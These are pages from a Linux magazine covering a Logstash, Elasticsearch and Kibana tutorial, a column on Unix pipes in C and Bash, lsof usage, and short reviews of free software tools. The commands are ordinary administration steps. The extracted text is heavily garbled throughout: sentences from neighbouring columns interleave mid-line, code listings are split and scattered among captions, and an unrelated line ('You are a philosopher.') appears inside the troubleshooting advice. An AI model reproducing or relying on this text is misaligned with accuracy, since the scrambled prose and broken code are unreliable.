down to solve a problem, and it doesn’t we’ll be looking at one of the main open latest incarnation is just a collection of
hurt to have an occasional refresher. So source options – Logstash. It accepts input HTML and JavaScript files, installation isn’t
let’s do just that: First, make sure you (log entries and other kinds of events) from too complicated:
understand the problem – be able to many sources, stores them in a searchable Install a web server (httpd)
describe what should be happening, what back-end, and then enables you to query all Download Kibana (https://download.
is happening and why this is wrong. that information through a web interface. elasticsearch.org/kibana/kibana/
If a user comes to you and says their In short, Logstash helps you to actually kibana-3.1.0.tar.gz)
VPN connection is broken, you should not use your logs and gain valuable operational Extract the files to your document root
start by looking at their VPN logs, but insights from them. We’ll be running Kibana on the same
instead ask “can you show me what you
In this month’s issue, we’re going to show server as Elasticsearch, so you shouldn’t
were trying to do when you found the
you how to set up Logstash in conjunction need to make any changes to its
problem?”. Nine times out of ten, they’ll
show you what happens as they try to with Elasticsearch, a storage backend, and configuration.
connect to a remote box with SSH or Kibana, a fancy web interface which will help With all that in place, you should be able to
through a web browser and you’ll you query your data without learning the go to your Kibana installation in a web
reformulate the problem – “why can’t the ins-and-outs of Elasticsearch. browser and see the Kibana welcome page.
user connect via SSH to devbox1.test?”. If you don’t see a black page, Kibana isn’t
Once you understand the problem, you Getting started installed properly – check your httpd
can begin to think about solving it. Learn The first job, as ever, is to install all the configuration – and if you see a red bar
which log files are important, how you can components. Elasticsearch, the company saying ‘Couldn’t connect to Elasticsearch’ -
increase their verbosity and how to read behind all three components we’re looking at check the service is running.
them carefully. Too many times, I’ve failed
to solve a problem only to ask a colleague
for help, at which point they look in the
same log file I just did and spot the
problem straight away.
Now you can formulate some
hypotheses about what the cause could
be. Write these down and come up with a
way to test each one. Finally, work through
all your hypotheses, testing one at a time,
and only changing one thing at a time,
until you find the answer. If you get
through all of them without finding the
answer, then you need to go back and
make sure you understood the problem
correctly and come up with new
hypotheses. You are a philosopher.
Kibana is an excellent web interface that makes it really easy to query your log data in
Elasticsearch – even managers can understand it!

62 www.linuxvoice.com
SYSADMIN

Now we have a way to inspect our data
without having to learn the ins-and-outs of
the Elasticsearch API let’s get some data in
to Logstash and check everything is working
as expected.

Getting your data
First, let’s test Logstash in the simplest way
possible:
cd /opt/logstash java -jar ./logstash.jar agent -e
‘input { stdin { } } output { stdout { } }’
That command will start the Logstash
process, accepting input from stdin and
sending its output to stdout, rather than
Elasticsearch. After running this, type Logstash is just one component of the Elasticsearch, Logstash and Kibana stack – but it does have
anything you like into the console and you the coolest logo of them all, which is why we’ve included it in the screenshot.
should see a structured reply from Logstash
indicating that everything worked OK. (The input, modifying them in some way, before anything that matches the
-e argument simply lets you pass a they get stored by the output plugin. For COMBINEDAPACHELOG pattern (the default
configuration file on the command line – example, with the Grok filter you can take format used in httpd.conf) and mapping it to
you can easily put this configuration in any plain text file, such as an Apache or the message field.
/etc/logstash/conf.d.) MySQL log file, and map regular expression Finally, the output:
If all works, let’s stop using stdout for the matches to fields. This lets you split your output { elasticsearch_http { host => localhost }
output and instead use Elasticsearch: output into separate, searchable fields, stdout { } }
java -jar ./logstash.jar agent -e ‘input { stdin { } } making it much easier for you to answer While this may look familiar, notice that
output { elasticsearch_http { host => localhost } }’ questions like ‘do we get more 500 errors in we’ve included two output plugins. Logstash
If you now type hello linux voice into the summer than winter?’. will send the result of the filter to both
console and then refresh your Kibana Grok comes with lots of common patterns standard output and Elasticsearch, making
window, you should see your message already defined, so you rarely even have to it a bit easier to debug.
logged towards the bottom of the page. write the regular expressions yourself. You Put those three sections into a
We’re making great progress! can find the list of included patterns at configuration file and start Logstash with
https://github.com/elasticsearch/ the -f option, passing it the location of the
Logstash end to end logstash/blob/master/patterns/grok- configuration file. Once Logstash has
Let’s look at the three main parts of patterns. started, go to Kibana and refresh. As you
Logstash configuration: inputs, filters and browse around Kibana, you should find new
outputs. Inputs and outputs you’ve met More inputs log entries being recorded.
already. These blocks simply define where There are loads of input, filter and output
input will come from and where you want to plugins available for Logstash, but for a Kibana
store it. In each section, you specify which clearer example, let’s look at a configuration Now you’ve actually got some logs being
plugins you want to deal with your input or file that would allow you to parse an Apache stored, you can use Kibana to start asking
output (such as stdin, file, elasticsearch_ log file. First, the input: questions of that data.
http etc) and pass any parameters to input { file { path => ‘/var/log/httpd/access_log’ By default, most of the Kibana interface is
configure the plugin as you wish. Filters are start_position => beginning } } filled with a large graph. As your data makes
more interesting. These get applied to the Here, we’re specifying the default Apache its way in, this graph will fill up with bars
access log as the input to Logstash. If you representing activity at different points in
point this at the log file for your Kibana time. You can click and drag on the graph to
Logstash beyond logs installation, you can use Logstash to track zoom in and get a higher resolution look at a
Kibana usage. By giving the start_position particular moment in time.
As system administrators, we immediately think
about how Logstash can be used to help us parameter, Logstash will look through the You can also click the View button in the
make use of the mountains of syslog data we’re whole of the file, enabling you to analyse top-left of the graph to adjust what kind of
all storing, but it can be just as useful for historical data, before operating more like chart is drawn, over what period the data is
developers who are trying to build more the tail -f command, appending new input sampled at and much more besides.
intelligent businesses.
as it arrives. Above the chart is the Query bar, where
For instance, if you’re running a large retail
company, you could easily use the TCP input to Next, the filter: you can enter relatively free-form patterns to
keep track of product sales – every time a filter { grok { match => { ‘message’ => search for in the data. Enter an IP address,
product is sold, have your point of sale ‘%{COMBINEDAPACHELOG}’ } } } and it will filter all matching results.
terminals send a message to your Logstash This time, we’re using the Grok filter There’s so much you can do with Kibana.
server, and it will index the data, graph it and
plugin. The match parameter does the work We’d love to hear how you’re using Logstash
help your management teams spot and quickly
respond to emerging trends. of mapping a regular expression match to a on your systems, so please drop us a line if
field name – in our example, we’re taking you’re using it!

www.linuxvoice.com 63
CORETECHNOLOGY

CORE
A veteran Unix and Linux
enthusiast, Chris Brown has
written and delivered open
source training from New Delhi
to San Francisco, though not on
TECHNOLOGY
the same day. Dive under the skin of your Linux system to find out what really makes it tick.

Pipes, shell scripting, and a little bit of C
The most fun you can have with a pipe without actually putting tobacco in it.

N
estled in the bottom-left corner of (approximately) what the shell does if I enter stage 1 of the diagram on page 65. At line 8
my laptop’s keyboard is a key with the command ls | sort -r : we create a child process which is destined
two straight lines on it – a slopey 1. #include <unistd.h> to become the downstream program. (I
one and a vertical one. The vertical line 2. discussed fork() in detail last month.) At line
goes by various names – a stick, a poley or 3. void main() 10 we connect the standard input of this
just “vertical bar”. It finds use as the logical 4. { process (descriptor 0) to the downstream
‘OR’ operator in various languages, and is 5. int p[2]; end of the pipe (p[0]). Then at line 12 this
sometimes used in great numbers in ASCII 6. child program executes the sort program to
art. But in the world of the Linux command 7. pipe(p); /* Create the pipe */ do a reverse sort. We don’t supply a filename
line it is most often called a pipe. 8. if (fork() == 0) { argument, so (like any well-behaved filter
Now we all know how to construct a 9. /* Downstream child: connect stdin to pipe */ program) sort will read from its standard
pipeline on the command line, and (roughly) 10. dup2(p[0], 0); input. The sequence at lines 14–19 is similar
how it works. A simple command such as 11. close(p[1]); – we create the upstream child, connect its
ps -e | wc 12. execlp(“sort”, “sort”, “-r”, (char *)0); standard output to the upstream end of the
runs the two programs ps and wc 13. } pipe, and execute ls. Now we’re at stage 3
concurrently, with the output from ps 14. if (fork() == 0) { of the diagram. All that is left for the parent
appearing as the input of wc. 15. /* Upstream child: connect stdout to pipe */ to do (line 22) is to wait for its two children
Pipes involve an upstream process 16. dup2(p[1], 1); to finish.
(the producer of data) and a downstream 17. close(p[0]); Closing the unused descriptors on the
process (the consumer), and the pipe 18. execlp(“ls”, “ls”, (char *)0); upstream end of the pipe in the downstream
imposes a loose synchronisation between 19. } child (line 11) and in the parent (line
the two. If the pipe becomes full, the 20. /* Parent: wait for both children */ 21) is important. If we don’t do this, the
upstream process will block if it tries to 21. close(p[0]); close(p[1]); downstream child will never see an EOF
write; if the pipe is empty, the downstream 22. wait(); wait(); (“End Of File”) when it reads from the pipe,
process will block if it tries to read. 23. } and will just hang there on the assumption
It is this simple mechanism for combining There isn’t really that much code here, but that one of the processes with an open
two programs, together with the large it’s perhaps not obvious what’s going on, so descriptor might write some more data. The
collection of programs that deal with input let me explain: first time I wrote code like this, which is a
and output streams consisting simply of fair few years ago now, I remember being
lines of text (in preference to binary formats) Behind the scenes in the pipe factory caught out by this. Notice that the are no
that facilitates the “tool building” approach The system call at line 7 creates a pipe. We
that makes the command line so powerful. supply a little array of integers to this call (p)
Like last month, I’m going to inflict a few and in it we get back two file descriptors, one
Try It Out
lines of ‘C’ code on you so that you can see on the upstream end ([p1]) and one on the Find the named pipes on your system
how pipes work behind the scenes. This is downstream end (p[0]). This corresponds to sudo find / -type p
/var/spool/postfix/public/qmgr
“Pipes involve an upstream process and a /var/spool/postfix/public/pickup
You may get different results depending
downstream process, and the pipe imposes a on what Linux distro you’re running and what
packages you have installed, but I would be
loose synchronisation between the two.” willing to bet that you don’t find very many.

64 www.linuxvoice.com
CORETECHNOLOGY

Try It Out
Your very own named pipe
For this demonstration, set up two terminal
windows side by side on your desktop. In one of
the windows, begin by creating a named pipe.
The command is mkfifo (and not, as you might
reasonably guess, mkpipe):
$ mkfifo /tmp/demopipe
Verify that it exists:
$ ls -l /tmp/demopipe
prw-rw-r-- 1 chris chris 0 Apr 1 17:21 /tmp/
demopipe
Now, in the left-hand window type
$ cat > /tmp/demopipe
and in the right-hand window type
$ cat < /tmp/demopipe
Now type a few lines of text into the left-hand
window. What you type is written to the pipe by
the “left” cat. In the right window you’ll see the
output of the “right” cat echoing what you typed
onto the screen. To quit the experiment, enter
Ctrl+D (your “end of file” character) into the left
window. The left cat will terminate, closing the
upstream end of the pipe. The right cat, as it
tries to read from the pipe, notices that it has
been closed, and exits.
Pipes in the making: a note from one of the founding fathers of UNIX, Doug McIlroy, dated October
1964, suggests “ways of coupling programs like garden hose”.

read() or write() calls corresponding to stage script. Here’s an example of piping out of a 4. i=0
4 of the diagram in the code presented loop: 5. while (( $i < 10 ))
here; the reading and writing goes on in the 1. #!/bin/bash 6. do
child processes, which simply access their 2. # Piping the output of a loop 7. echo $RANDOM
standard input or standard output streams. 3. 8. (( i++ ))
They are not aware that these streams are
connected to a pipe.
Creating a pipe
This code is so quintessentially UNIX
that I think all system programmers should
be required by law to re-write it annually to
remind themselves of the simplicity and Stage 1 Stage 2
elegance of the original UNIX API. If you Parent Process Parent Process
want to delve into this code in more detail, p [1] p [0]
look at the man pages for fork(), exec() and p [1] p [0]
dup2().
When created on the command line, p [1] stdout stdin p [0]
pipelines can only be connected in a linear
sequence. There is no way, for example, to Upstream child Downstream child
feed the output of two programs into the
input streams of a comparison program, or
to run a program that generates two parallel Stage 3 Stage 4
output streams and sends each down a
different pipe. These are really limitations Parent Process
write ( ) read ( )
of the command line syntax; it is perfectly
possible to do both these things with pipes if
you’re willing to create and manipulate them
stdout stdout
in code. stdout stdin
Upstream child Downstream child
Upstream child Downstream child
Pipes and loops
You can, of course, create and use pipes
within shell scripts. After all, a shell script is
A parent process creates a pipe and hands the file descriptors down to its children. Descriptors
basically just a bunch of shell commands
on the “unused” ends of the pipe are closed.
put into a file. What is less obvious is that
you can pipe into and out of loops within the

www.linuxvoice.com 65
CORETECHNOLOGY

At line 7 we accumulate a running total of and a set of access permissions that work
How big is a pipe? the file sizes which we echo to standard the same as for a regular file. You can
output on line 8. So the output of the loop is experiment with named pipes using the “Try
According to the man page, the capacity of
a steadily growing total of file sizes. At line 9, it out: Named Pipes” box.
a pipe (from kernel version 2.6.11 and up) is
65,536 bytes. If a process attempts a write the output from this loop is itself piped into The important thing to note about named
to a pipe that would take it over that limit, tail to pick off just the last line – the total pipes is that two unrelated processes
the process will block until (hopefully) the reported during the final iteration of the loop. can establish communication provided
downstream process has consumed some of Of course, both of these examples are they agree on the name of the pipe. (I will
the data. However, there’s a lower limit of 4,096
more about shell scripting syntax than about return to the issue of “agreeing on a name”
bytes which is the maximum amount that is
guaranteed to be written atomically – that is, the underlying behaviour of the pipes. when I look at other forms of inter-process
it will not be interleaved with data written by communication later in the series.)
another process or thread that also has access Named pipes
to the pipe. However, scenarios where multiple The pipes we’ve looked at so far do not Two pipes for two directions
processes are simultaneously writing to the
have an entry in the filesystem. So they Linux pipes, whether named or anonymous,
same pipe are rare, and probably best avoided.
And I don’t think there’s any way to sensibly co- have no name (they’re sometimes called are unidirectional. You write to the upstream
ordinate the scenario where multiple processes anonymous pipes) and they have no owner end and read from the downstream end.
are reading from the same pipe. or access permissions. So does that mean However, there’s nothing to stop you
Pipes deliver a simple, unstructured byte that any process can connect to them? using two pipes if you want two-way
stream. If the upstream process writes 200
No. Anonymous pipes can only be used communication. Our final example this
bytes to the pipe, then 300, then 50, the
downstream process just sees 550 bytes in between processes sharing a common month does exactly that. It uses a pair of
the pipe. There is no concept of message ancestor that created the pipe in the first named pipes to establish communication
boundaries. place, and then passed the file descriptors between a shell script and a “co-process”.
down to its children. There’s no way for We are returning to our shell script example
some other unrelated process to jump in of piping a list of random numbers into sort,
9. done | sort -n and obtain access to either end of the pipe. but extending it so that the output of sort
Lines 5–9 set up a loop, which we go And it goes without saying (but I’ll say it can be read back in to the script. It’s a little
around 10 times. Each time round, the anyway) that pipes cannot traverse the tricksy, so you may not want to tackle it
echo on line 7 emits a random number to network. The communicating processes immediately after a heavy meal. Here’s the
standard output, so the output of the loop is must be on the same machine. code:
a list of 10 random numbers. The exciting There’s another type of pipe that 1. #!/bin/bash
moment comes on line 9, where we redirect does have an entry in the filesystem. 2. # Example of a “co-process”
the output of the loop as a whole into a Appropriately they’re called named pipes, 3. # using two named pipes
pipe. The sort program on the downstream also known as FIFOs (First In First Out). In 4.
end of the pipe does a numeric sort. So the practice, these are much less common. 5. mkfifo /tmp/pin /tmp/pout
output of the script is ten random numbers You can search for them using the find 6. sort -n < /tmp/pin > /tmp/pout &
in ascending order. command. On my Ubuntu 12.04 system I 7. exec 3> /tmp/pin 4< /tmp/pout
found only two: 8. # write 10 random numbers to pin
Piping into a loop We can examine one of these entries: 9. i=0
You can pipe into a loop as well. This $ sudo ls -l /var/spool/postfix/public/qmgr 10. while (( $i < 10 ))
example tots up the sizes of the files in the prw--w--w- 1 postfix postdrop 0 Apr 1 17:14 /var/ 11. do
current directory: spool/postfix/public/qmgr 12. echo $RANDOM >& 3
1. #!/bin/bash Notice the p in the first character position. 13. (( i++ ))
2. # Piping into and out of a loop Notice also that there’s an owner, a group, 14. done
3.
4. ls -l | awk ‘{print $5}’ |
The history of pipes
5. while read n
6. do The pipe is one of the most significant innovations cp foo bar
7. (( total += n )) that UNIX brought to the world. Writing in 1964 would be written as
8. echo $total while he was working at Bell Labs, Doug McIlroy foo cp bar
9. done | tail -1 wrote “We should have some ways of coupling Extending this notation, McIlroy’s “garden hose”
programs like garden hose – screw in another pipeline might be implemented like this
The command on line 4 just extracts the
segment when it becomes necessary to massage foo sort pr lpr
file sizes (field 5) reported by ls. The exciting data in another way”. The idea took a while to instead of the modern:
bit here is that we’re piping the output of this catch on and the simple “infix” pipe notation sort foo | pr | lpr
command into a loop. Within the loop (line 5) that we take for granted nowadays took even When pipes were eventually added into UNIX
we read the size into the variable n. The read longer. In a retrospective paper written by Unix they initially used the same operator (‘>’) as is
pioneer Dennis Ritchie in the Bell Labs Technical used for redirecting output to a file, so the pipeline
command consumes data, line by line, from
Journal in 1984, he describes two earlier ideas would be written as:
standard input -- that is, from the pipe. Each for pipe syntax. The first was that the commands sort foo > pr > lpr >
read consumes one line of data. It returns themselves should be thought of as binary But this notation “only lasted a couple of
“false” (and therefore terminates the loop) operators, so that what we would now write as: months” before being replaced by the current one.
when it reaches the end of its input stream.

66 www.linuxvoice.com
CORETECHNOLOGY

“If you made it through that without dying from
15. exec 3>&- # close descriptor 3
16. # now read them back from pout
17. while read var <& 4 a surfeit of syntax, congratulations! You are now
officially a shell scripting guru.”
18. do
19. echo var got $var
20. done
21. # Don’t need those pipes any more 4 on the pout pipe. The loop at lines 9 to 14 Finally, line 22 disposes of the pipes.
22. rm /tmp/pin /tmp/pout generates 10 random numbers as before, Actually, Bash has a built-in command
OK, here’s the scoop. Line 5 creates the the difference being that they’re written to called coproc, which sets up the pipes
named pipes. My choice of in and out file descriptor 3 (the pin pipe). There are and starts the background process
names are from the point of view of the more magic runes at line 15 which closes automatically. But the syntax is no less
external co-process; that is, /tmp/pin carries the upstream end of pin. This is important awkward than the example I’ve presented. If
data into the co-process and /tmp/pout because the sort program needs to see you’d like the details, search the Bash man
returns data from it. At line 6 we start a “EOF” on its input when it has consumed page for coprocess.
background process running sort (referred all the data, and that won’t happen unless If you made it through that without dying
to here as the “co-process”), it’s reading from we’ve actually closed the upstream end. from a surfeit of syntax, congratulations!
one named pipe and writing to the other. Lines 17 to 20 set up a loop reading from You’re officially a shell scripting guru. Next
Line 7 is definitely non-obvious! It opens file pout (the results from sort); this is similar to month I’ll look at another form of inter-
descriptor 3 on the pin pipe, and descriptor the “Piping into a loop” code we saw earlier. process communication: sockets.

Command of the month: lsof
Our featured command this month is lsof
(“list open files”). It’s one of those passive
“what’s going on” reporting tools that can be
so useful for trouble shooting. Basically, it
lists open files that match given selectors.
To start simple, we can list all the files that
are currently open by processes running as
a specified user:
# lsof -u syslog
...or we can ask “which processes have
these file open?” like this:
# lsof /var/log/* lsof delivers a wealth of information on open files and active network endpoints.
You can also ask the question the other
way round: which files does this process You can use it to answer the question “is # lsof -i udp -a -u ^root
have open? To do this you need to know the the service actually listening on the port which shows me all UDP sockets NOT
process ID: it’s supposed to be listening on?” We could owned by root. We can home in even further.
# pgrep nmbd tighten up the query to ask “which process is Here, we’re just asking for UDP sockets
1121 listening on the secure shell port?” like this: bound to the mdns port (port 5353):
# lsof -p 1121 # lsof -i tcp:22 # lsof -i udp:mdns -a -u ^root
Here, we’re asking what files the Samba or equivalently you could ask: Normally, the output from lsof is quite
daemon nmbd has open. If you try this # lsof -i tcp:ssh verbose. However the -t option tells lsof
command (or something like it) you’ll It gets more interesting when you to just display the PID of the matching
discover that lsof has a pretty liberal idea start combining selectors. By default process(es):
of what an “open file” means. It not only the selectors are combined with the OR # lsof -i udp:5353 -t
shows you the regular files (open on a file operation. For example, the following By itself this perhaps isn’t too useful, but
descriptor) but also the current directory of a command shows open files that are either it’s intended to be used with a command
process, any shared libraries it has attached UDP sockets, or are opened by processes substitution, perhaps like this:
(there are probably quite a few), memory- running as root: # kill -9 $(lsof -i udp:5353 -t)
mapped files, pipes, and any TCP or UDP $ sudo lsof -i udp -u root which will kill all processes listening on UDP
endpoints it has open. This is probably not very useful. But if we port 5353.
Talking of endpoints, we can see all the add a -a option the logic changes to “AND”: As you can see, the command line is
open TCP or UDP sockets like this: $ sudo lsof -i udp -a -u root starting to look like a mini language in its
# lsof -i which answers the more useful question own right, a bit like the find command.
I find this command really useful when “show me the UDP sockets owned by root”. Indeed, the man page for lsof runs to 2,700
troubleshooting an unresponsive service. We can also say “NOT”, like this: lines; it’s a daunting read!

www.linuxvoice.com 67
FOSSPICKS

FOSSpicks Sparkling gems and new
releases from the world of
Free and Open Source Software

Mike Saunders has spent a decade mining the internet for free
software treasures. Here’s the result of his latest haul…
Keyboard-driven web browser

Dwb 20130503-gh2
A
n important step in the And these keybindings are largely
journey of all Linux and based on those of the mighty Vim
Unix users is acceptance of editor (see issue 3’s cover feature).
the keyboard as the supreme tool For instance, the H/J/K/L keys
for commanding a computer. Sure, (lowercase) scroll the page left,
a mouse or trackpad is essential down, up and right respectively,
sometimes – when you’re editing while Shift+H and Shift+L
pixels in an image, for example – (uppercase) go back and forward in
but more often than not, it’s just a your browsing history. Hit O to open
time waster. Learn the keyboard a URL in the current tab, or Shift+O
shortcuts for your favourite for a new tab. Shift+J and Shift+K
applications and you’ll work much cycle through tabs.
faster, because you no longer have
to take your fingers away from the Take the hint
home row to grab that clumsy This is all well and good, and means Dwb doesn’t have a newbie-friendly tutorial, sadly, but the manual
rodent thing. you can keep your fingers on the page on the site lists all of the keybindings.
But what about web browsers? keyboard for longer when browsing,
Unless you’re a fan of Lynx or Links but what about links? Surely you Well, Dwb has an alternative
(in which case, kudos), you probably need a pointing device to select one method: hit F for “hints” and small
find it hard to imagine using a of the myriad links on the page? boxes appear above every link on
browser solely via the keyboard. But the page. These boxes contain a
it’s possible, as Dwb shows. This is
a WebKit-based browser – so it
“You’ll find yourself navigating letter (or multiple letters if the page
has many links), so you simply type
uses a modern HTML rendering much more quickly than having to the letter(s) to “click” on the link.
engine – but it has a strong focus
on good keybindings.
shove a cursor around the screen.” And guess what: it works
surprisingly well. Not with every
site, but if, like us, you spend most
of your time on text-heavy sites
such as Wikipedia, Reddit, Slashdot
and co., you’ll find yourself
navigating much more quickly than
having to shove a mouse cursor
around the screen.
It’s unlikely that Dwb will replace
your main browser for day-to-day
usage, but for those times when
you’re researching, coding or doing
something else text-intensive, it’s
fantastic and rewards you from
learning the wealth of keybindings
Here we’ve pressed F to
enable hints – ie small that control it.
boxes that show the
PROJECT WEBSITE
letters we need to type http://portix.bitbucket.org/dwb
to visit a link.

68 www.linuxvoice.com
FOSSPICKS

Process management tool

Kanboard 1.0.5
L
ike us, you probably get whole the dependencies are quite
infuriated by buzzword minimal – thankfully.
overload. So it would’ve been Go into your web server
easy for us to overlook Kanboard, document root and grab the latest
an application that implements a version of Kanboard using:
Japanese “process management git clone https://github.com/fguillot/
and improvement method” called kanboard.git
Kanban – but no, we persevered. Make the data directory inside it
FOSSpicks is 90% blood, sweat and writable by the web server (eg
compilation errors, you see… chown www-data:www-data data
Anyway, Kanban is actually on Debian/Ubuntu), then access
useful. Buzzwords aside, it gives a http://<hostname>/kanboard in
team a simplified overview of a your browser. Log in as user admin
Go to http://demo.
project, with easy-to-identify tasks with password admin, and you’re
kanboard.net to try out
and deadlines, and focuses on rapid ready to set up a new project a pre-populated board so for bug tracking you could have
delivery of results. It can be used for (known as a “board”). and see what the Reported, Confirmed, Fixing, etc.
software development, but it also program is capable of. Kanboard lets you set up
works for other projects involving Do the Kanban-Can different categories for tasks, with
multiple people and sub-tasks. As mentioned, a core principle of corresponding colours, and you can
Essentially, it’s a streamlined time the Kanban methodology is to create different users to assign to
and process management tool that present information quickly and tasks. An especially useful feature
encourages incremental changes easily. So by default, Kanboard is Automatic Actions, which
and participation from everyone. boards have four columns: Backlog reduces the amount of time you
Kanboard is implemented as a (tasks that need to be done but have to spend administering the
web-based app, ideal for throwing haven’t been assigned to anybody); board. For instance, you can
onto an intranet server in a Ready (tasks that are being configure Kanboard so that when
business, but you could also run it assigned but not yet started); Work you move a task to a specific
on a private host if you’re working In Progress; and Done. You can column, it’s assigned to a certain
on a FOSS project with some other change these columns to fit your user. This is great if you have one
people and want to use it to plan specific project more appropriately, user in charge of QA, for example,
releases. To run it you’ll need a web and you want he or she to be
server (Apache and Nginx are
recommended), PHP 5.3.3 or newer,
“Kanboard is implemented as a responsible for everything that
lands in the “Testing” column.
and the mbstring and pdo_sqlite web-based app, ideal for throwing
modules for PHP. As that suggests,
SQLite is used for storage, so on the
onto an intranet in a business.” PROJECT WEBSITE
www.kanboard.net

How it works: Creating a new task

1 Add to column 2 Configure the task 3 Move the task
Choose the column to which you want to add Enter a title and description (Markdown is Now the task will appear in the specified
the task, and click the blue plus (+) character next to its allowed). You can assign categories, colours and users column. Awesomely, you can quickly drag-and-drop
name. Here we’ll add to the Backlog column. to tasks, and even set due dates. tasks into other columns as shown.

www.linuxvoice.com 69
FOSSPICKS

Siri-like natural communication tool

Betty 0.1.6
A
long with flying cars and right now, but it shouldn’t be hard to
hoverboards, one of the bolt on an open source speech
things we were promised in recognition program at some point.
the 1980s was perfect voice- To get it (in your home directory):
recognition software. Never again git clone https://github.com/pickhardt/
would we have to prod clumsy betty
keyboards and shuffle mice around alias betty=”~/betty/main.rb”
– no, we’d simply recline in our Ruby is required for it to run. Now
executive office chairs and tell the you can use betty followed by a
computer to do all the hard work. string to interact with it. This just
Of course, this hasn’t happened, works for the current terminal
An example of some of
partially because of the vast session, so put the alias line in your something is (with the text taken
the commands Betty
variation in human accents and ~/.bashrc (~ is your home directory) understands. A full list is from Wikipedia). It’s pretty rough
dialects, and also because in offices to make it always available. provided on the project’s round the edges – but that’s to be
nobody wants to hear someone Betty understands various website expected given the low version
shouting “DELETE NEXT LINE” all human-friendly versions of Unix number. Nonetheless, with a bit of
day. The closest we have is Siri on commands, so you can ask it to polish, perhaps an attractive Qt/Gtk
Apple’s lockdown-crazy iGadgets, extract files and do wordcounts as GUI and integration with a speech
which works fairly well, but even in the screenshot. It can also pull recognition tool, we Linux users
then it’s still not perfect. information from the web, providing could have a decent Siri-like system
Betty is a FOSS Siri-like program, you do this command first: without becoming slaves to Apple.
a digital assistant that tries to betty turn web mode on
understand human language. It Now you can ask about the PROJECT WEBSITE
https://github.com/pickhardt/betty
uses the command line for input weather in cities, or what

Linux desktop remote control

PRemoteDroid
L
inux is a great media centre (You’ll need Java installed for this to
OS. Hook your computer up work – try the default-jre package
to your TV via an HDMI cable, if you’re using Debian/Ubuntu/
install a good media player like Mint.) This will start the server on
XBMC or VLC, and voilà: you can your Linux box; you’ll also see a new
watch movies on the big screen. green icon in your desktop’s
You could invest in a Wi-Fi/ notification area. Right-click to get
Bluetooth keyboard and touchpad information on the server, such as
combo to control the Linux- the IP address, port number and
powered media box, but if you password (by default “azerty”).
Here’s our laptop
already have an Android phone or Go to the Play Store on your Go back, and you should now be
connected to a TV, and
tablet, PRemoteDroid is the Android device and search for PRemoteDroid telling us able to move the mouse pointer on
simplest solution. PRemoteDroid. Install it, run it and... how to connect to it from your Linux desktop from your
PRemote Droid works very well you’ll get a blank screen. Hit the our Android phone. phone (there are three mouse
and takes almost no time to set up. Menu button and then Connections. buttons at the top). Not bad, eh? So
Go to http://code.google.com/p/ Tap Menu again followed by New, you already have an instant remote
premotedroid/downloads and enter the your server details, and control from your couch, and you
download PRemoteDroid-Server. tap the new connection. can also bring up a keyboard via the
zip into your home directory. Then menu button. All you need now is a
open a terminal and enter:
unzip PRemoteDroid-Server.zip
“PRemoteDroid works well and fluffy white cat.

cd PRemoteDroid-Server takes almost no time to set up.” PROJECT WEBSITE
http://code.google.com/p/premotedroid
java -jar PRemoteDroid-Server.jar

70 www.linuxvoice.com
FOSSPICKS

Screen recorder

Byzanz
M
aking a recording of your Because Byzanz is a Gnome app
screen is a great way to (albeit driven from the command
demonstrate something line), it needs the GStreamer
to another Linux user, show off your development headers installed
awesome terminal skills, or submit when building it from source. After
an extra-detailed bug report. But make install you’ll have two new
where do you start? There are binaries: byzanz-record and
jillions of video codecs out there, byzanz-playback. The latter doesn’t
and then you need to upload the interest us here as it’s for fixing
video to YouTube, or try to host it bugs, but the former generates a file
yourself… It gets complicated. when you run it like so:
Animated GIFs have
Byzanz makes life much simpler byzanz-record myfile.gif
limited colours, as you how you can record just a selected
by recording to animated GIFs. Yes, With no other options, this can see in the area of the screen using the -x, -y,
this is a crusty old technology and records the whole screen for 10 background here, but for -w and -h options. Use -d followed
many people wish GIFs would just seconds and dumps the results into most apps they do a by a number in seconds to alter the
go away and die, but they have the myfile.gif. You probably won’t want solid job. duration of the recording, and -c if
advantage that they work in nigh-on to record the whole screen, you want to include the cursor.
every web browser in existence, however, so check out the manual Byzanz isn’t the most newbie-
with no need for extra plugins, page (man byzanz-record) to see friendly recorder due to its many
extensions or codec packs. And command line options, but it doesn’t
while GIFs aren’t particularly take long to learn the basics.
efficient for long videos, for short “For short ‘check this out’ screen
“check this out” screen recordings
they’re fine.
recordings, GIFs are fine.” PROJECT WEBSITE
https://github.com/GNOME/byzanz

Media player

Mpv 0.3.10
D
evelopers often get a lot of remove cruft from the code, work
flak when they fork a project, better with modern hardware, and
but sometimes it’s the only be easier to use.
way forward. Look at what Mpv is available for most major
happened to XFree86: it was the distros (see http://mpv.io/
dominant X Window System installation) along with Windows
implementation on Linux and open and Mac OS X. We installed it on an
source Unix flavours, but due to a Ubuntu 13.10 test box using the
variety of reasons issues, a bunch PPA – this also has packages for
of hackers forked it and now we 14.04, the latest release. While Mpv
have the X.org server, which is doesn’t have a graphical front-end
Mpv plays pretty much
faster, more reliable and requires as such, it does include an command line options, because if
anything, including our
less configuration. It was a huge on-screen display to pause and ancient RealPlayer-rips you’ve tried to use MPlayer before
win for the community. navigate through a movie. from VHS versions of and delved into the manual page,
Mpv is a similar project, in that it’s 1980s Jackie Chan films. you might’ve come away with a
a fork of MPlayer, one of the Simplified command line headache. So options have been
best-known media players in the To use it, just pass it a filename at renamed and some parameters
Free Software world. Mpv’s the command line: eg mpv myfile. have been changed to be more
developers have ambitious goals avi. A huge range of codecs are typically Linux/Unix-like.
that they believed couldn’t be supported, and it didn’t choke on
realised by continually patching the anything we threw at it. One of the
PROJECT WEBSITE
MPlayer codebase, so they’ve split goals of Mpv is to make it more
www.mpv.io
off with their own version. It aims to user friendly by cleaning up the

www.linuxvoice.com 71
FOSSPICKS

Secure communication tool

Venom 0.2.0
S
o here we are, one year on the dependencies and build
from the initial Snowden instructions on https://wiki.tox.im/
revelations. We know that our Venom, then grab the source code
governments are spying on us on a from GitHub and compile it.
horrific scale, and it’s only getting When you start Venom, you’ll
worse. Fortunately, there are plenty almost certainly hit an immediate
of people out there who’ve learnt hurdle: you have nobody to chat to!
from history and know that this sort Very few non-technical people are
of obsessive surveillance from using Tox at this stage, but if you
paranoid governments only ever hop on to IRC (FreeNode) and join
ends in tears. One group of hackers the #tox channel, you’ll find plenty
is working on Tox (www.tox.im), a of people to join you for a chat and
Can you trust that your
platform that aims to provide a give you their IDs. These are long conversations, but you can change
messaging service isn’t
completely secure, NSA/GHCQ- sequences of alphanumeric being intercepted by the that by clicking the Settings button
proof means to transmit instant characters – so click the + button in spooks? Use Venom and at the bottom and enabling “Keep
messages and audio/video calls. the bottom-left of Venom and paste get your privacy back. history”. There’s not much else to
Tox itself refers to the service, in the string to add the person. see in the client just yet, but it’s a
